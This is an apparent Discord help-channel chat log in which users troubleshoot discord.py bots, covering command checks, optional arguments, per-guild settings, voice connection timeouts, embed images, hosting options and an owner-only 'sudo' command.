[manic wing]

im on protest, apologies

[sick birch]

Sure can

I've tried with EC2 before and it worked well for my needs

[silver iris]

@sick birch hey thank you man! Do you know how I would go about doing it?

[slate swan]

in rich presence?

[cloud dawn]

No?

[sick birch]

EC2 servers are really just like any normal VPS so it shouldn't be difficult

[slate swan]

oof

[sick birch]

You can install Python on it (probably has it already) and just run your file as if you were going to do it from your local machine

[slate swan]

OAuth2?

[sick birch]

Preferably you can put linux on it

[silver iris]

It’s how you connect your discord account with your own website

[silver iris]

Thanks man

[cloud dawn]

OAuth2>General>Default Authorization Link>AUTHORIZATION METHOD>Custom URL>In-app Authorization

Check both bot and applications.commands
Then the permission your bot needs

[sick birch]

Btw they let you SSH into it so it's almost as if you had physical access to it, i suppose you know how VPS work already so it shouldn't be an issue for you haha

[silver iris]

Yep haha thanks a lot

[slate swan]

thanks and sorry if i'm annoying 😁

[cloud dawn]

Very annoying

😂

[slate swan]

true : D

[cloud dawn]

Nah np it's not shown as good as they could have done.

[slate swan]

i'm new to python and generally at bots

How can you use the new discord mute thing in your discord bot for more automation

[fluid spindle]

Just out of curiosity, does Discord allow you to see who has read your message? I'm thinking it doesn't...

[slate swan]

No

[slate swan]

Discord.py doesnt support that

[jaunty wraith]

You can make it give a mute role a an amount of time thats basicly the same thing

[slate swan]

Disnake and some other folks have the timeout method

[jaunty wraith]

I dont use disnake i use d.py

[slate swan]

Mute role hardly makes any sense anymore

[slate swan]

Hard luck

[jaunty wraith]

Yea

I think i imported disnake at one point to use / commands but it didnt work

[slate swan]

Well, you cant use dpy and dnk in the same code

[jaunty wraith]

Oh that makes sense why it didnt work then

[slate swan]

Of course

[glacial kernel]

I'm making a ticket bot and in the part of closing the ticket I would like this command to only be executed when in a ticket room.
Does anyone know how?

[vale wing]

Personally I just use the raw request to discord API, idk if that's good

[slate swan]

im just gonna use disnake

[vale wing]

You want a certain command to only be executed in a certain channel?

[glacial kernel]

Yes

Do you know how?

[vale wing]

You could create a check, depends on your code structure and data storage

The most simple check is

def some_check(ctx):
    return ctx.channel.id == 123456789

@bot.command()
@commands.check(some_check)
async def your_command(): ...```

I hope I remember it correctly lol

[glacial kernel]

I can take a screenshot of this part of my code and you see what I can do

[vale wing]

Ok

[glacial kernel]

I had a problem taking the screenshot so I took a picture @vale wing

[unkempt saddle]

Can someone help me with how to make the bot ignore a specific user if they type out a special command

for example if the user write $stop the bot completely ignores the user and if the user types $start the bot listens to the users commands again?

[slate swan]

forks*

[vale wing]

Not sure, but you could make a check that would check if ctx.channel.id is in ticket channels, I don't know how you store them

[slate swan]

typos happen

[vale wing]

List of ignored users and a check

[slate swan]

[slate swan]

Use a database, and you can use the on_command event to check the user ids

[slate swan]

Sowwy

[vale wing]

ignored_users = []

@bot.check
def ignored_check(ctx):
    return not ctx.author.id in ignored_users

@bot.command()
async def start(ctx):
    try: ignored_users.remove(ctx.author.id)
    except: pass

@bot.command()
async def stop(ctx):
    ignored_users.append(ctx.author.id)

The example

[glacial kernel]

I have a category where all tickets are opened there.(All ticket channels are opened there) I don't know if this helps you find me a solution.

[vale wing]

So your bot is for one server, right?

[slate swan]

lol

[unkempt saddle]

tysm let me try that

[glacial kernel]

As everyone is.

[vale wing]

Not really lol, but I suppose yours is

[glacial kernel]

Yes

true

[vale wing]

You could just check if the channel is in your category

def ticket_check(ctx):
    return ctx.channel.category.id == tickets_category_id```

[glacial kernel]

How do I implement this in the middle of my code?

[glacial kernel]

.

Im a beginner

[vale wing]

def ticket_check(ctx):
    return ctx.channel.category.id == tickets_category_id

@bot.command()
@commands.check(ticket_check)
async def FecharTicket(ctx): ...```

[jaunty wraith]

Can anyone tell me what the problem is with this i want it so you do the command and if the 2nd arg (message) = none then the bot will respond but it doesnt work

[glacial kernel]

Thank you bro

[vale wing]

The check function and the check decorator

Np

[vale wing]

Message can't be none, it is required argument in your code

You could set a default value or provide typing.Optional typehint

[jaunty wraith]

I do the command and the bot doesnt respond i want it so if it doesn’t give an 2nd argument it responds with that

[vale wing]

I understand what happens

[jaunty wraith]

How do i set a default vaule

[vale wing]

async def mcfind(ctx, message = None): ...

#alternative way with Optional
async def mcfind(ctx, message: Optional[str]): ...```

Not sure if you need str in optional but lemme check that

[jaunty wraith]

Thank you

Ok

[boreal ravine]

typehinting to the optional class doesnt make the param optional

you gotta set a value to the param to make it optional

[vale wing]

In terms of dpy I think it does make the param optional if we mean the same thing

In terms of python overall it doesn't I agree

Btw is this considered normal practice or there's a better way to make requests to discord API inside a bot?

async with aiohttp.ClientSession(headers={'Content-Type': 'application/json', 'Authorization': 'Bot token') as session:
    await session.patch(f'https://discord.com/api/v9/guilds/123/members/123', json=...)
   ...```

[wicked atlas]

Do you mean alongside a lib like discord.py or in your own implementation of it? Because if it's your own, I would use a single ClientSession and make multiple requests on that.

Session encapsulates a connection pool (connector instance) and supports keepalives by default. Unless you are connecting to a large, unknown number of different servers over the lifetime of your application, it is suggested you use a single session for the lifetime of your application to benefit from connection pooling. (aiohttp docs)

[jaunty wraith]

Your speaking jibberish to me lmao

[mild tree]

Traceback (most recent call last)

hi have this

problem

how to fix them?

[patent lark]

..

[vale wing]

Alongside the lib, I believe there is already a session, but where to get it?

[wicked atlas]

You can start by sending the full error

[mild tree]

but i dont have it, this is problem

[jaunty wraith]

Screenshot the full console

[wicked atlas]

there is, gimme a sec

[mild tree]

the window closes after a second

the text flashes very quickly and closes

[vale wing]

You must be running the file just by clicking on it?

Or I got you wrong

[slate swan]

Try with arg

[jaunty wraith]

Def arg where i def ctx?

[wicked atlas]

You can get it via the bot.http.__session field, but are you making the request to the discord API? Because you should be able to make whatever request you have there without having to access the aiohttp session

[mild tree]

I don't have a hosting bot connected and so far I'm testing the script by opening it in cmd

[soft lynx]

... # the rest of the cmd is up here
elif args == "North America" or args == "NA23":
      role_ids : list = dictionary ["north-america"]
      await ctx.send(",".join([ctx.guild.get_role(role_id).name for role_id in role_ids if len(ctx.guild.get_role(role_id).members) < 0]))

i want my bot to send every role within a dictionary that users do not currently have. Right now, its sending every role whether or not someone has it.

Here is the dictionary:

 # north-america; Canada, USA, Mexico
    dictionary = { 
      "north-america": [924737989341503609, 924737988800438322, 924737997503627265]
    }

Does anyone know how I can make my bot send each role in the above dictionary that no users currently possess?

[vale wing]

Ok, got it. Kinda unsure how to make the session, like this?

async with bot.http.__session as session:
    ...```

Or I can use it without with

[mild tree]

it's a new bug for me and I don't know what to do with it, that's why I went here: //

[slate swan]

def mcfind(ctx, arg1)

[vale wing]

Better run it in IDE

[supple plover]

hi
today i learned the fact that discord.py died
and now (I know that probably that question was asked a billion times but..) I am really confused with a bunch of forks that has emerged from the corpse of discord.py

disnake vs nextcord vs pycord what's the difference and what you use if you are coding a bots for discord?

[vale wing]

Lol had the same issue today

[wicked atlas]

It's already a session, just use it

async with bot.http.__session.get("http://example.com") as res:
    ...

[mild tree]

i dont have this

[vale wing]

Ok thx a lot

[vale wing]

Download it? For example there are PyCharm and VSC

[wicked atlas]

The difference is the name, who maintains it, and of course some of them made changes from the original discord.py, as well as the new implementation of features.

Whichever one you use is up to you really. I like disnake

[supple plover]

what is less buggy are most interested into aha

just because the basic fear that they are new libs with low stability

[mild tree]

maybe its code problem... can i send it on dm?

[vale wing]

Yeah

[supple plover]

thanks

[soft lynx]

is there a more efficient way to do this?

[vale wing]

Maybe < 0 is an issue, as len() of something cannot be negative, so your condition will always be False

[soft lynx]

right, i actually have had a few traceback exception errors along that same line

[vale wing]

Probably because of attempts to send an empty string

[soft lynx]

yes, exactly

is there a different way to go about what im trying to do? ive been reccomended to use the utils, or iterate

[vale wing]

So you need to get roles that have 0 members right?

[slate swan]

how can I keep my bot up 24/7 ?

[vale wing]

#discord-bots message

[soft lynx]

yeah

[vale wing]

I would do it like this

roles_ids = [...] #however you get them
roles = [ctx.guild.get_role(i) for i in roles_ids]
roles_string = ", ".join([role.name for role in roles if len(role.members) == 0])

[slate swan]

free?

[vale wing]

You could also filter roles

[vale wing]

I don't know much, but some people use heroku and replit, although it is not recommended

Don't ask me how

[slate swan]

ok

can u tell me if this is a good enough deal to run my bot?

[vale wing]

?

[slate swan]

Chassis model
Dell DSS5100

Processor
1× Intel® C2350 (Avoton)

CPU - 2C/2T - 1.7 GHz

Storage
1 × 1 TB SATA

Memory
4 GB DDR3

is that good enough

and its for 13 euro

[vale wing]

Way too powerful for an average bot but it depends on your bot lol

[slate swan]

well thats the cheapest they have :/

[vale wing]

Try galaxygate

They have servers for 3$/mo

I host all my bots there, works fine

[slate swan]

Ok thx

wait will it work for europe?

[vale wing]

And yeah you may have some issues regarding running bot script on VPS feel free to ask me then

[vale wing]

You may connect to it from anywhere

[slate swan]

ok so what option shoudl I go for?

1 gig or 2 gig

[vale wing]

To start with, does your bot require many resources?

Like mine is at > 100 guilds and it doesn't need more than 300 Mb I think

[slate swan]

its 23 lines of code

[vale wing]

Take the cheapest version

[slate swan]

ok

[slate swan]

1 sec ill buy it

[slate swan]

i cant get it tonight so add me incase i can get tomorrow

[vale wing]

Ok

[jaunty wraith]

Ok then if arg == None: await ctx.send(“this”)

Right?

[vale wing]

Just saying there's a faster way to check if argument is not None

if not arg: #same with if arg == None```

[slate swan]

antib = {}

@bot.command()
@commands.has_permissions(ban_members = True)
async def on(ctx):
antibots = antib.get(ctx.guild.id, False)
if antibots == False:
antibots[ctx.guild.id] = True
await ctx.send("Ok")

im having the following error :

discord.ext.commands.errors.CommandInvokeError: Command raised an exception: TypeError: 'bool' object does not support item assignment

[slate swan]

Ye

can somene help me ?

[pliant gulch]

Except this works if arg is not truthy, not just if arg is None

[vale wing]

Yeah

[pliant gulch]

The best way, and pythonic way to check if someone is None is by using is, E.g arg is not None

[vale wing]

Afaik is is basically == but it also checks if the objects take the same place in memory

[slate swan]

im trying to do a antibots, but with a variable per guild

[vale wing]

You are trying to assign an item to a bool object

[thin kelp]

You are setting antibots[ctx.guild.id] = True

[vale wing]

Your dictionary is antib and not antibots right?

[thin kelp]

I think you mean to do antib[ctx.guild.id] = True

[slate swan]

yes

[pliant gulch]

Well, no not really. is checks if two objects are pointing to the same place in memory where as == checks if the value is the same

[vale wing]

Thx got it

[slate swan]

can i send a link ?

[vale wing]

Depends what link

[slate swan]

stakoverflow

[vale wing]

I think you can

[slate swan]

https://stackoverflow.com/questions/68592140/have-a-global-variable-change-only-per-server-by-command-discord-py i use this

my english is so bad, sorry

its something like that what i need

but it is not working

[thin kelp]

Did you try this

[slate swan]

yes

and didnt work

[vale wing]

You should just name the variables in a comfortable and logical way for you

[vale wing]

Any errors?

[soft lynx]

Alrighty, thank you

[vale wing]

Np, I hope I helped

[slate swan]

no

but, give a second

@bot.event
async def on_member_join(member):
global antimalicius
global antib
if antimalicius == True:
file = open('blacklist.txt', 'r')
members_banned = file.readlines()
if str(member.id) not in members_banned:
pass
else:
await member.ban()

if antib == True:
    if not member.bot:
        pass

    else:
        await member.ban()

else:

the on command works, but when i add a bot, its not banned

dont pay attencion on the blacklist part

[vale wing]

!code

[unkempt canyon]

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

[pliant gulch]

This could be more preform-ant by doing this py ", ".join([role.name for role in ctx.guild.roles if role.id in role_ids and len(role.members) == 0]) getting rid of the useless get_role call since ctx.guild.roles already provides the roles

[vale wing]

Yeah but it would iterate more roles

[slate swan]

Hargur ? Exenflix ?

[vale wing]

Format your code first please @slate swan

[slate swan]

alr

[pliant gulch]

What

get_role already iterates through the roles

[tawdry perch]

How do I get Oauth url for my bot?

[vale wing]

Didn't know

[vale wing]

On its application page?

[tawdry perch]

Ye

[slate swan]

@bot.event
async def on_member_join(member):
    global antimalicius
    global antib
    if antimalicius == True:
        file = open('blacklist.txt', 'r')
        members_banned = file.readlines()
        if str(member.id) not in members_banned:
            pass
        else:
            await member.ban()

    if antib == True:
        if not member.bot:
            pass

        else:
            await member.ban()

   

[thin kelp]

Wait

Isn't antib a dictionary

[vale wing]

This looks uh weird

[slate swan]

i know 😦

know

[thin kelp]

The problem is in the antib == True part I think

[vale wing]

This thing would just ban bot accounts on join if antib is enabled

[slate swan]

yes

[vale wing]

And where is antib defined?

[slate swan]

.

[thin kelp]

Get the guild id and try antib[guildid] == True

[vale wing]

Is it supposed to be a dictionary or a boolean?

[slate swan]

i mixed lot of code

i will send you the originsl code

1 sec

[vale wing]

Understandable

[pliant gulch]

Oh wait no no I'm wrong lol, I just remember get_role will go into the Guilds internal role cache which is a dictionary

Making getitem O(1)

[vale wing]

Oh lol

[pliant gulch]

I was mistaking get_role with how utils.get works

[slate swan]

would this work

await ctx.send(random.choice(options.split(",")))

?

[pliant gulch]

yes

[vale wing]

If options isn't an empty string yes

[slate swan]

yeah it is

antib = False
antimalicious = False



@bot.command()
@commands.has_permissions(ban_members = True)
async def on(ctx):
    global antimalicius
    global antib
 
    try:

        antimalicius = True
        antiflood = True
        antib = True
        antiads = True
        await ctx.send(":emoji_33: | Proteccion Automatica Activada")

    except:
        await ctx.send("Este comando solo puede ser usado por mi Creador y Staffs")

[vale wing]

Format it

[slate swan]

there is

ok

[slate swan]

its kwarg lol

[jaunty wraith]

Its not working

@slate swan

[slate swan]

that is

[vale wing]

Um what do you want to do with this?

[jaunty wraith]

Lmao

[vale wing]

You want the bot to work for several guilds or for one?

[slate swan]

several

[slate swan]

what are u trying to code?

[jaunty wraith]

I want it so if you dont give a 2nd arg then it sends please choose another minecraft account

[vale wing]

Didn't I show you how to make arguments optional?

[abstract pecan]

@jaunty wraith what is the bot u are coding

[jaunty wraith]

Did you? I want it to be required

[jaunty wraith]

Like this if you give all the arguments it wants then it works if you dont give the argument then it tells you you need to give a argument

[abstract pecan]

are u hosting your bot on replit

[jaunty wraith]

Im coding it on replit yea

[abstract pecan]

a discord bot or u just trying to code

[final iron]

How much would I need to know about SQL before I can use it as a db for my bot? I'm currently using SQLBolt to learn and I'm on Outer Joins but I don't really think ill need to know those

[jaunty wraith]

It is a discord bot

[vale wing]

If you don't provide an argument it will raise an exception, you can handle it however you would like to

[abstract pecan]

show me

[slate swan]

Send me full code in dm

[jaunty wraith]

@slate swan knows what im on about

[abstract pecan]

do u mean source?

[slate swan]

yea

[vale wing]

Many use SQLite, you will just need to learn basic types and some queries like select, update, insert etc.

[final iron]

Then you would need to use a database

[vale wing]

@slate swan I will help you please wait

[final iron]

I'm planning on using aiosqlite

[tawdry perch]

Same thing, and a good choice

[final iron]

I am aware

[vale wing]

Asynchronous sqlite?

[tawdry perch]

Ye

[vale wing]

Interesting

I should look at it lol

[final iron]

I just need to learn how to create the file and frame

[tawdry perch]

!pypi aiosqlite

[vale wing]

Maybe it is better than common sqlite3

[unkempt canyon]

aiosqlite v0.17.0

asyncio bridge to the standard sqlite3 module

[final iron]

I also need to implement it in code

[tawdry perch]

It will be quite easy

[vale wing]

As I looked nothing very complicated just full of awaits

[slate swan]

ok

tthank you, i never used a database

[final iron]

It might sound strange but is there any file structure I would want?

Like the way my files for the bot are organized?

I'm planning on publishing the finished project to Github

[pliant gulch]

You'd want the core and the cogs to be seperated at least

Perferably all in a root folder as well

Conventionally called src most of the time

Or depending on what conventions you follow

[vale wing]

@slate swan so to make individual config for every guild, at the beginning stage I would just recommend to use a dictionary

guilds_config = {}

We can provide an example guild

guilds_config[123] = {
    "antibot": True,
    "antispam": False
}```
You can make that dictionary whatever you want

Next, to check some data, you can do like
```py
antibot_enabled = guilds_config[guild_id]['antibot']```
And operate with it

[slate swan]

.json file ?

[vale wing]

Personally I usually place main.py that runs the bot to the root folder, place extentions to ext folder and some modules of my custom functions to modules folder. If needed I sometimes add res folder

[slate swan]

dude literally said “dictionary” lmao

[vale wing]

For your case you can save it to json file

[slate swan]

sorry man, im new on this type of things

[final iron]

What would I have in the core folder?

[pliant gulch]

Your trying to get a key when the guilds_config is a dictionary containing nested dictionaries?

[pliant gulch]

The core of your bot

[vale wing]

Mistaken

[pliant gulch]

Like the actual subclass itself if you extend or whatnot

[slate swan]

guilds_config = {}
guilds_config[123] = {
"antibot": True,
"antispam": False
}

into a json file

error xd

expecting a json objetc or array

@vale wing

[vale wing]

!d json

[unkempt canyon]

json

Source code: Lib/json/__init__.py

JSON (JavaScript Object Notation), specified by RFC 7159 (which obsoletes RFC 4627) and by ECMA-404, is a lightweight data interchange format inspired by JavaScript object literal syntax (although it is not a strict subset of JavaScript 1 ).

json exposes an API familiar to users of the standard library marshal and pickle modules.

Encoding basic Python object hierarchies:

[slate swan]

a?

what?

@vale wing

[sick birch]

iirc json keys have to be strings

!e

test = {}
test[1] = 1
print(test)

[unkempt canyon]

@sick birch :white_check_mark: Your eval job has completed with return code 0.

{1: 1}

[sick birch]

mm i suppose not

[zenith basin]

#help-cookie

[pliant gulch]

They do

The eval is evaluating python code which can have int keys

If you write inside of a json file it will scream

[sick birch]

Ah that's what I was thinking of

[slate swan]

but

what im doing bad

[sick birch]

Using integers rather than a string for the key

Also obligatory: you should consider using a proper database rather than a JSON file

How do I get a Discord bot to join a voice Channel and not leave unless it is commanded to do so?

[unkempt canyon]

@coral pelican Please don't try to ping @everyone or @here. Your message has been removed. If you believe this was a mistake, please let staff know!

[sage otter]

!d discord.VoiceChannel.connect

[unkempt canyon]

discord.VoiceChannel.connect

await connect(*, timeout=60.0, reconnect=True, cls=<class 'discord.voice_client.VoiceClient'>)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Connects to voice and creates a [`VoiceClient`](https://discordpy.readthedocs.io/en/master/api.html#discord.VoiceClient "discord.VoiceClient") to establish your connection to the voice server.

This requires [`Intents.voice_states`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.voice_states "discord.Intents.voice_states").

[slate swan]

nice pfp

[ebon island]

It keeps leaving after a certain amount of time when nothing is playing rather than just sitting in the voice Channel as intended

[potent spear]

is this still an unsolved question for you?

[full lily]

Does anyone know of a way to use a local image inside of an embed? The implementation I have now sends the image outside of the embed

file = discord.File("test_image.png")
embed.set_image(url="attachment://image.png")
await self.ctx.send(file=file, embed=embed))

[slate swan]

!local-file

[unkempt canyon]

Thanks to discord.py, sending local files as embed images is simple. You have to create an instance of discord.File class:

# When you know the file exact path, you can pass it.
file = discord.File("/this/is/path/to/my/file.png", filename="file.png")

# When you have the file-like object, then you can pass this instead path.
with open("/this/is/path/to/my/file.png", "rb") as f:
    file = discord.File(f)

When using the file-like object, you have to open it in rb mode. Also, in this case, passing filename to it is not necessary.
Please note that filename can't contain underscores. This is a Discord limitation.

discord.Embed instances have a set_image method which can be used to set an attachment as an image:

embed = discord.Embed()
# Set other fields
embed.set_image(url="attachment://file.png")  # Filename here must be exactly same as attachment filename.

After this, you can send an embed with an attachment to Discord:

await channel.send(file=file, embed=embed)

This example uses discord.TextChannel for sending, but any instance of discord.abc.Messageable can be used for sending.

[slate swan]

your method is correct , except for the url must be attachment://test_image.png in the set_image

[heavy folio]

^

[ebon island]

Yeah, at the present moment it is, perhaps there is some kwarg or something that specifies the timeout time or something?

[torn sail]

I think this may help https://discordpy.readthedocs.io/en/stable/ext/commands/commands.html#converters go to typing.Optional

[ebon island]

ooh I see there is a timeout arg, maybe 0 or None?

[potent spear]

well, you have an event on_voice_state_update, where you can check if the after channel only contains the bot... then you can set an async sleep, and after that sleep, you get the voice_client's channel and check if it's still empty => if it is, you can disconnect

[ebon island]

I'm testing doing .connect(timeout=None) and it might be the answer

default is 60

[potent spear]

I don't think it auto disconnects, you can set it to 5 secs and check...

[ebon island]

yeah, it did when I checked

disconnected after about a minute inactive

which is consistent with the default arg of 60

[potent spear]

yeah, all good, even if the bot is playing something?

[ebon island]

it isn't playing anything haha, I am sure it would stay if it were playing something

[potent spear]

well, that's where you need the other method

[ebon island]

timeout=None seems to have done it

[potent spear]

it's useless for a bot to keep playing a playlist of an hour if no-one is listening 🧠

[ebon island]

haha not entirely useless

[potent spear]

it sure as hell is imo

[ebon island]

24/7 cipher channels for freestyle rap are a use case where you want it on and in a voice channel no matter what so people can join at any time and immediately jump in

[potent spear]

yeah, 24/7 channels are different, but I was talking about "normal" music bots

[ebon island]

haha yeah

right now it's not even a music bot

it's a freestyle practice tool

so it does things like word generation

eventually we'd like to make it play music and such

we'll have a playlist of instrumentals produced by friends of the BarHub and shout their channels etc out every time a song is played

[pliant gulch]

Neat idea, haven't heard of a freestyle practice bot

[ebon island]

haha yeah, we're leading the charge on that front

we're already in some of the largest servers even in the scuffed af implementation it had previously

the build I have on my dev rig is about 1000x better than the live build

I had a hilarious message to our group chat where I said What?? We have a working STOP COMMAND?!?! haha and genuinely that was an accomplishment

the build that was up the stop command was finnicky at best

now it is rock solid

dead stop as soon as the command is given

eventually we will have things like scoring and leaderboards

and gamification elements to make it competitive and reward participation

plus a front end web page that you can use separately

also confirmed, it is still sitting in the voice channel so it looks like timeout=None was exactly the fix 😄

[full lily]

Heh I was really excited for this solution. I have changed it but it's the same :/

[ebon island]

What is the best way to call disconnect?

[full lily]

thanks for the reply though

[ebon island]

How do I get the instance of the bot? So like, to check if it is in a server for example

or I guess another question, how do I get the instance of the VoiceClient connection once channel.connect() is performed?

think I got it actually

looked the docs and it returns a voice client I guess

so I am going to try and write it to a variable and see if I can then call methods on that variable

[slate swan]

Could you show your current code , whatever you changed

!d discord.TextChannel.set_permissions

[unkempt canyon]

discord.TextChannel.set\_permissions

await set_permissions(target, *, overwrite=see - below, reason=None, **permissions)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Sets the channel specific permission overwrites for a target in the channel.

The `target` parameter should either be a [`Member`](https://discordpy.readthedocs.io/en/master/api.html#discord.Member "discord.Member") or a [`Role`](https://discordpy.readthedocs.io/en/master/api.html#discord.Role "discord.Role") that belongs to guild.

The `overwrite` parameter, if given, must either be `None` or [`PermissionOverwrite`](https://discordpy.readthedocs.io/en/master/api.html#discord.PermissionOverwrite "discord.PermissionOverwrite"). For convenience, you can pass in keyword arguments denoting [`Permissions`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions "discord.Permissions") attributes. If this is done, then you cannot mix the keyword arguments with the `overwrite` parameter.

If the `overwrite` parameter is `None`, then the permission overwrites are deleted.

You must have the [`manage_roles`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions.manage_roles "discord.Permissions.manage_roles") permission to use this...

[slate swan]

Use this for everg object which had permissions and set the perms to None

As overwrite=None

[full lily]

I'm not even sure what I changed this time, but it worked the second time around. Thanks a mil :)

[slate swan]

pleasure

[grand shell]

hey! i have the id of a channel. how can i get the channel object from it?

[slate swan]

bot.get_channel(int)

[grand shell]

thanks :))

[slate swan]

yw

[grand shell]

how can i get the guild from an id?

i dont rlly have access to the client because its in a cog

[slate swan]

bot.get_guild(int)

[slate swan]

you do lol

[grand shell]

you mean self.bot?

it returns None for me idky

[slate swan]

show your cog

[grand shell]

its quite big..

[slate swan]

your init dunder

[grand shell]

class SelfAdvertise(commands.Cog):

    def __init__(self, client):
        self.client = client

[slate swan]

typehint client to commands.Bot

[grand shell]

wdym?

[slate swan]

 def __init__(self, client: commands.Bot):
        self.client = client

[grand shell]

hmm

it still returns None

@tasks.loop(seconds = 10)
    async def ad_loop(self):
        adIDs = self.get_advertising_ids()

        for id in adIDs:
            chanID = self.get_chanID(id)

            serv = self.client.get_guild(id)
            chan = serv.get_channel(chanID)

            print(serv)
            print(chan)

this gives me an error

'NoneType' object has no attribute 'get_channel'

[sage otter]

self.client isn’t returning None.

get_guild() is returning None.

[slate swan]

What does the sudo command do

#unix , and it means superuser command

[sick birch]

Lets you execute commands as root on linux

[slate swan]

No... some bots have the sudo command

hm?

[sick birch]

Huh

[sage otter]

Executes a command while bypassing it’s checks.

[slate swan]

any example/ context

Someone said it runs the command with bot owner privileges

[slate swan]

Oh

[sick birch]

Sudo usually means doing something as someone else

[slate swan]

Someone told me that too, what does that mean?

[slate swan]

So example in this command I require it to have a role, but using the "sudo" command, I can bypass it?

[sage otter]

yeah

[slate swan]

Ok

How do I make that command

[sage otter]

most people use Context.invoke() which bypasses checks.

[slate swan]

Oh

[slate swan]

WHat about this, what does it mean?

[sage otter]

!d discord.ext.commands.Context.invoke

[unkempt canyon]

discord.ext.commands.Context.invoke

await invoke(command, /, *args, **kwargs)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Calls a command with the arguments given.

This is useful if you want to just call the callback that a [`Command`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.Command "discord.ext.commands.Command") holds internally.

Note

This does not handle converters, checks, cooldowns, pre-invoke, or after-invoke hooks in any matter. It calls the internal callback directly as-if it was a regular function.

You must take care in passing the proper arguments when using this function.

[slate swan]

I have seen other people do !sudo @slate swan ping

[sage otter]

That’s a mock command

[slate swan]

What do you mean?

[sage otter]

It invokes the command under a certain user instead of yourself.

[lament mesa]

typehinting wont do anything

[slate swan]

Is it the same as the bypass check type of command?

[sage otter]

I mean if you make it that way, yeah.

[slate swan]

Do you recommend having a sudo command?

[slate swan]

i think it does

In this case it was the guild

[lament mesa]

nope, it doesn't affect runtime

[slate swan]

in normal instances yes

[sage otter]

I mean if it’s only open to you as the owner.

[slate swan]

Ok

but dpy converts things with type hinting

[lament mesa]

dpy only does typehint conversion in commands, not in cogs

[slate swan]

which is very unpythonic

[sick birch]

There's an excellent module called jishaku that already does "sudo" for you, amongst many other features such as running code in the terminal of the machine being hosted in, viewing files on the local machine, and running arbitrary code. I know that sounds very insecure but it's only limited to the bot owner, and is useful for debugging

Here's the project if you're interested: https://pypi.org/project/jishaku/

[sage otter]

Probably the most useful discord.py related module out there tbh.

[midnight mica]

I am making a discord bot

It has less features by now

and I'm using discord.py

and in Repl.it

As suggested replit can't be used for mass communication bots, so any other platforms? and I want to connect it through uptimerobot as well if your telling a platform. Please.

[slate swan]

@sage otter
@client.command()
async def sudo(ctx, *, command):
await ctx.invoke(command)
